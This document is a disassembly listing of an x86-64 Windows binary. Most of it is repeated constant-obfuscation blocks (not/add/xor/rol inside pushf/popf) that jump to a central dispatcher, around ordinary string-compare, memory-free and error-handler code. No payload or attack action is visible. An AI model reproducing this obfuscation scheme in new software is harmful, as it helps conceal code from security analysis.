nop dword [rax]
push rax
pushf
mov eax, 0xcf6d93a4
pushf
not eax
add eax, 0xe6a4d163
xor eax, 0xc8dbcb64
rol eax, 5
popf
pushf
not eax
add eax, 0xd2c5b45c
xor eax, 0xd5fed900
rol eax, 0xd
popf
jmp 0x1400ca2ed
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400cb854
push rax
pushf
mov eax, 0xe937d8fb
pushf
not eax
add eax, 0xe9a69c23
xor eax, 0xedc23cc5
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xabc4e774
xor eax, 0xaf6731d3
rol eax, 0x82
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xaed57336
pushf
not eax
add eax, 0xf7db423e
xor eax, 0xf8eeace4
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf3174649
xor eax, 0x9741c35f
rol eax, 0x4d
popf
pushf
not eax
add eax, 0x933177a2
xor eax, 0xc4959da1
rol eax, 0xbd
popf
jmp 0x1400ca2ed
inc rax
test ecx, ecx
jne 0x1400cb8d4
push rax
pushf
mov eax, 0x103e262
pushf
not eax
add eax, 0xde9b531b
xor eax, 0xb08709a2
rol eax, 5
popf
pushf
not eax
add eax, 0xc6d872d2
xor eax, 0xa4c94f8a
rol eax, 0xc1
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x8b28d3c4
pushf
not eax
add eax, 0xb2b88ad8
xor eax, 0xd60bf647
rol eax, 6
popf
pushf
not eax
add eax, 0xfbca4359
xor eax, 0x8a4ede30
rol eax, 0x66
popf
pushf
not eax
add eax, 0xc0a2c455
xor eax, 0x81b6b950
rol eax, 0xab
popf
jmp 0x1400ca2ed
test edx, edx
je 0x1400cb955
push rax
pushf
mov eax, 0xd9da01ca
pushf
not eax
add eax, 0xf124cef0
xor eax, 0xd21f772a
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xf2726a2b
xor eax, 0xe52d1470
rol eax, 0x2a
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xfb580089
pushf
not eax
add eax, 0x807b35e3
xor eax, 0x8af91f2f
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xcf274c49
xor eax, 0xe9d88a4c
rol eax, 0xa5
popf
jmp 0x1400ca2ed
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400cb9ed
push rax
pushf
mov eax, 0x61fcc708
pushf
not eax
add eax, 0xe77c16cc
xor eax, 0xda83bdfa
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa083ebc0
xor eax, 0xa8f08ff0
rol eax, 0x46
popf
pushf
not eax
add eax, 0xc4ace436
xor eax, 0xa3ca7bf0
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x93ca7819
xor eax, 0xa8f251ef
rol eax, 0x49
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x8115e0d8
pushf
not eax
add eax, 0x99d197e6
xor eax, 0xbd16b549
rol eax, 0x97
popf
pushf
not eax
add eax, 0xc0915b49
xor eax, 0xe17fd5da
rol eax, 0x64
popf
pushf
not eax
add eax, 0xd36fbd51
xor eax, 0xdf5aadf9
rol eax, 0x3a
popf
jmp 0x1400ca2ed
mov rdx, qword [rbp - 0x31]
cmp rdx, 0xf
jbe 0x1400cba83
push rax
pushf
mov eax, 0x68730c35
pushf
not eax
add eax, 0xbd78eb43
xor eax, 0x846d041a
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xfde97d6e
xor eax, 0xca2eb36c
rol eax, 0x14
popf
pushf
not eax
add eax, 0xee8d04e8
xor eax, 0x9340cac8
rol eax, 0xd
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xac7c2802
pushf
not eax
add eax, 0xcfe2c1eb
xor eax, 0xfd9dd96e
rol eax, 0xff
popf
pushf
not eax
add eax, 0xed306780
xor eax, 0xaffa51f2
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xa011aff1
xor eax, 0x8e6d1ec3
rol eax, 0xa6
popf
jmp 0x1400ca2ed
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cbb22
push rax
pushf
mov eax, 0x7df80d7
pushf
not eax
add eax, 0xb651f383
xor eax, 0xf72865b5
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xe4ea93a6
xor eax, 0xaee67452
rol eax, 0x34
popf
pushf
not eax
add eax, 0x8af6140d
xor eax, 0x8834c075
rol eax, 0x52
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xf7209eeb
pushf
not eax
add eax, 0xa6a2b9c5
xor eax, 0xbbd52a87
rol eax, 0x74
popf
pushf
not eax
add eax, 0x8e496c6b
xor eax, 0x8868aef7
rol eax, 0x96
popf
jmp 0x1400ca2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cbbc7
push rax
pushf
mov eax, 0x233faf79
pushf
not eax
add eax, 0xe316456d
xor eax, 0xd75ce349
rol eax, 4
popf
pushf
not eax
add eax, 0x934923ed
xor eax, 0x8652ed9f
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x8849751e
xor eax, 0xfd00d896
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x83607b6b
xor eax, 0x90d29b65
rol eax, 0x78
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x2188d21d
pushf
not eax
add eax, 0xd77af91c
xor eax, 0x8ba64b00
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb7444858
xor eax, 0xd1566423
rol eax, 0x74
popf
pushf
not eax
add eax, 0x8c3b3865
xor eax, 0xb1100062
rol eax, 9
popf
jmp 0x1400ca2ed
call fcn.1400ae1e9
push rax
pushf
mov eax, 0x9431d689
pushf
not eax
add eax, 0xf7f8688f
xor eax, 0xa2ff9c7c
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xbd4c92d4
xor eax, 0xe8e5fad8
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xfb068699
xor eax, 0xd68ed123
rol eax, 0x17
popf
jmp 0x1400ca2ed
mov esi, 0xa81828f2
pushf
not esi
add esi, 0xe2896c89
xor esi, 0xa537a2a7
rol esi, 0x6d
popf
pushf
not esi
add esi, 0x8ce79e47
xor esi, 0x98e80a86
rol esi, 0x2b
popf
pushf
not esi
add esi, 0xaf459516
xor esi, 0xbff908f0
rol esi, 0x73
popf
pushf
not esi
add esi, 0xb025696c
xor esi, 0x8cb38b2d
rol esi, 0xb0
popf
push rax
pushf
mov eax, 0x70e5870e
pushf
not eax
add eax, 0xe699164d
xor eax, 0xadfa798d
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xbb0fd1c0
xor eax, 0x8ad0b8c2
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd341ed93
xor eax, 0xcb7111bb
rol eax, 0x64
popf
jmp 0x1400ca2ed
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400cbd34
push rax
pushf
mov eax, 0x2c7de215
pushf
not eax
add eax, 0xe3546f99
xor eax, 0x90402917
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc2d6b8d8
xor eax, 0x81454e8e
rol eax, 0x8d
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc9c4c340
pushf
not eax
add eax, 0x8bb8d350
xor eax, 0xb5a53abf
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xdcf04acd
xor eax, 0x86e1c0b3
rol eax, 0xc1
popf
jmp 0x1400ca2ed
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cbdc0
push rax
pushf
mov eax, 0x5dd52fc1
pushf
not eax
add eax, 0xe2f28152
xor eax, 0xda400d4f
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd426ce9b
xor eax, 0xcb96bd62
rol eax, 0x58
popf
pushf
not eax
add eax, 0x81ec1a87
xor eax, 0xf3f86e34
rol eax, 0x41
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x8e26fcfe
pushf
not eax
add eax, 0xd008b650
xor eax, 0xa097b328
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xd3a6e757
xor eax, 0xea143fd2
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xebbe3846
xor eax, 0xd94fbe5a
rol eax, 0x55
popf
pushf
not eax
add eax, 0xacf41554
xor eax, 0x93a6750d
rol eax, 0xeb
popf
jmp 0x1400ca2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400cbe78
push rax
pushf
mov eax, 0x52feba03
pushf
not eax
add eax, 0x9658e230
xor eax, 0x92e41189
rol eax, 0x33
popf
pushf
not eax
add eax, 0xc423df0d
xor eax, 0xfd0140a5
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8cd30893
xor eax, 0xf8638597
rol eax, 0xe4
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xf3da2ed1
pushf
not eax
add eax, 0xc38fe683
xor eax, 0x86dafe5d
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe8dbdd2c
xor eax, 0xbaf29e7a
rol eax, 0x1d
popf
jmp 0x1400ca2ed
call fcn.1400ae1e9
push rax
pushf
mov eax, 0x6af7a2f0
pushf
not eax
add eax, 0xd47069d0
xor eax, 0xa7b7de5b
rol eax, 0x84
popf
pushf
not eax
add eax, 0xd57a455a
xor eax, 0xe828bd0d
rol eax, 0xce
popf
jmp 0x1400ca2ed
inc r13d
cmp r13d, dword [r12]
jb 0x1400cab2c
xor edx, edx
mov r8d, 0x4f73f19d
pushf
not r8d
add r8d, 0x8c2cb639
xor r8d, 0xb26ee98d
rol r8d, 0x33
popf
pushf
not r8d
add r8d, 0xb2470cae
xor r8d, 0x96773ccd
rol r8d, 0xa0
popf
pushf
not r8d
add r8d, 0xb9776a43
xor r8d, 0xd991c119
rol r8d, 0x4c
popf
mov rcx, r12
jmp 0x1400cbf47
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
sub rbx, r15
mov esi, 0x8cdf98ef
pushf
not esi
add esi, 0xc30803a9
xor esi, 0xa5d7a320
rol esi, 0x37
popf
pushf
not esi
add esi, 0x8c43041f
xor esi, 0xeec154c7
rol esi, 0x23
popf
pushf
not esi
add esi, 0x85b8e2ff
xor esi, 0x8337391c
rol esi, 0x97
popf
pushf
not esi
add esi, 0xc65b4bdc
xor esi, 0xc9694b2a
rol esi, 0x73
popf
jmp 0x1400cb196
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd rax, r10d
movzx ecx, word [rsi + rax*2]
mov ebx, dword [rdi + rcx*4]
xor edx, edx
mov r8d, 0x877bb10e
pushf
not r8d
add r8d, 0x9d736e65
xor r8d, 0x86ac988f
rol r8d, 0xc6
popf
pushf
not r8d
add r8d, 0xfc1c0f21
xor r8d, 0xd91457f9
rol r8d, 0x69
popf
pushf
not r8d
add r8d, 0xe36c2231
xor r8d, 0xd039b37b
rol r8d, 0xb7
popf
pushf
not r8d
add r8d, 0x9d6aa590
xor r8d, 0xfbe7ab7d
rol r8d, 0x99
popf
mov rcx, r12
cmp byte [rbp + 0x77], dl
jne 0x1400cc175
push rax
pushf
mov eax, 0xa5eb3e07
pushf
not eax
add eax, 0xcd13ec14
xor eax, 0xbf281a90
rol eax, 0x62
popf
pushf
not eax
add eax, 0x8f8a2e3f
xor eax, 0x9b875bcc
rol eax, 0x66
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x29bfa8a1
pushf
not eax
add eax, 0xa0cb788f
xor eax, 0x90d09532
rol eax, 0x67
popf
pushf
not eax
add eax, 0xa89efae4
xor eax, 0xbaf18f30
rol eax, 0x1b
popf
jmp 0x1400ca2ed
mov rax, qword [rbp + 0x7f]
add rbx, qword [rax + 0x18]
push rax
pushf
mov eax, 0x5ae08cb4
pushf
not eax
add eax, 0x8b90a6f4
xor eax, 0xf247348c
rol eax, 7
popf
pushf
not eax
add eax, 0xd7d39166
xor eax, 0xc4445de4
rol eax, 1
popf
pushf
not eax
add eax, 0xf50f0136
xor eax, 0xc41e2d04
rol eax, 0xdd
popf
jmp 0x1400ca2ed
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400cc290
mov rbx, r15
push rax
pushf
mov eax, 0xe4adf91c
pushf
not eax
add eax, 0xfd4cc56d
xor eax, 0xdb92b960
rol eax, 0x28
popf
pushf
not eax
add eax, 0x8ff744c2
xor eax, 0x820213fe
rol eax, 0x6d
popf
jmp 0x1400ca2ed
mov rdx, qword [rbp - 0x31]
cmp rdx, 0xf
jbe 0x1400cc2f3
push rax
pushf
mov eax, 0x6e8e710
pushf
not eax
add eax, 0x9eb93fc7
xor eax, 0xac256736
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xe718f639
xor eax, 0x8b3742ab
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xaa383893
xor eax, 0x80203d9a
rol eax, 0x78
popf
pushf
not eax
add eax, 0x9de76a2b
xor eax, 0xa5d42bef
rol eax, 0x2a
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xc342c1bc
pushf
not eax
add eax, 0xb9163d4b
xor eax, 0xc34c53b5
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x8f7273e5
xor eax, 0xb4f4eea3
rol eax, 0xed
popf
pushf
not eax
add eax, 0xd450281e
xor eax, 0xc6c4c81d
rol eax, 0x27
popf
jmp 0x1400ca2ed
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc37e
push rax
pushf
mov eax, 0x7faab0c8
pushf
not eax
add eax, 0x87d46cdd
xor eax, 0x989e53bc
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xf231dcf3
xor eax, 0xe01adee4
rol eax, 1
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x5f6cf246
pushf
not eax
add eax, 0xc3c0cf08
xor eax, 0x9254d979
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc4a1be6c
xor eax, 0xe7b52d2f
rol eax, 0x49
popf
pushf
not eax
add eax, 0x8bde1b40
xor eax, 0x85874a06
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf0ae15fc
xor eax, 0x977ccbc9
rol eax, 0xe0
popf
jmp 0x1400ca2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cc445
push rax
pushf
mov eax, 0x82c71ca0
pushf
not eax
add eax, 0xf7a6ad34
xor eax, 0xa7251dc8
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x834b75d3
xor eax, 0xc590ea84
rol eax, 0x15
popf
pushf
not eax
add eax, 0x8c3cc600
xor eax, 0x9bb1744c
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf74b5dd5
xor eax, 0x83db647c
rol eax, 0x68
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0x31732885
pushf
not eax
add eax, 0xb8448111
xor eax, 0x87f26a3b
rol eax, 0x61
popf
pushf
not eax
add eax, 0xce474232
xor eax, 0xe6a947fb
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xa2adad27
xor eax, 0xdfcd7a0b
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xf8033035
xor eax, 0xdde23265
rol eax, 0x6c
popf
jmp 0x1400ca2ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae1e9
push rax
pushf
mov eax, 0xe00daf2f
pushf
not eax
add eax, 0xe53a9bcf
xor eax, 0x9809901a
rol eax, 0xad
popf
pushf
not eax
add eax, 0xb2a90f03
xor eax, 0xfe80a702
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xaab1f674
xor eax, 0x94c964b1
rol eax, 0x70
popf
pushf
not eax
add eax, 0x8f9cca17
xor eax, 0xdd43315f
rol eax, 0x19
popf
jmp 0x1400ca2ed
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x31], 0xf
mov byte [rbp - 0x49], 0
mov rdx, qword [rbp - 0x11]
cmp rdx, 0xf
jbe 0x1400cc584
push rax
pushf
mov eax, 0xbd325eac
pushf
not eax
add eax, 0xdfd95d4d
xor eax, 0xe2426270
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xb1ecdcc9
xor eax, 0xd066d5a4
rol eax, 0xc9
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xe3e191d5
pushf
not eax
add eax, 0xfd6ae0e6
xor eax, 0xd66a06cd
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x87a66a78
xor eax, 0xf4afa6b3
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xdd1d5955
xor eax, 0xe22161a5
rol eax, 0xf
popf
pushf
not eax
add eax, 0xd12ccc82
xor eax, 0xc0e5676e
rol eax, 0x53
popf
jmp 0x1400ca2ed
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400cc623
push rax
pushf
mov eax, 0x63f0570c
pushf
not eax
add eax, 0x9e64f936
xor eax, 0xd8115d02
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xacdf2b75
xor eax, 0xad4921c2
rol eax, 0x79
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xb30ea2bf
pushf
not eax
add eax, 0x8b87ccc4
xor eax, 0xa81b2ea9
rol eax, 0x46
popf
pushf
not eax
add eax, 0xa7609cbb
xor eax, 0xa6c5a823
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xaeaf0e85
xor eax, 0xa6e0c064
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x8cb652da
xor eax, 0x8a8ff901
rol eax, 0xe6
popf
jmp 0x1400ca2ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cc6c4
push rax
pushf
mov eax, 0xcb1961f7
pushf
not eax
add eax, 0xab1247d6
xor eax, 0xfb3a4e59
rol eax, 0x37
popf
pushf
not eax
add eax, 0xaffc8018
xor eax, 0xf06a1ec2
rol eax, 0x89
popf
jmp 0x1400ca2ed
push rax
pushf
mov eax, 0xab13b2ca
pushf
not eax
add eax, 0xc8572c2f
xor eax, 0x8494acd1
rol eax, 0x93
popf
pushf
not eax
add eax, 0x826181a6
xor eax, 0xd4b4ae67
rol eax, 0xd9
popf
jmp 0x1400ca2ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ae1e9
push rax
pushf
mov eax, 0x14815459
pushf
not eax
add eax, 0xf4cf949e
xor eax, 0x87d10edf
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe08aa75d
xor eax, 0x95aff2fd
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xbbfbe775
xor eax, 0xd809bd8f
rol eax, 0xea
popf
jmp 0x1400ca2ed
mov rax, rbx
jmp 0x1400cbf4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3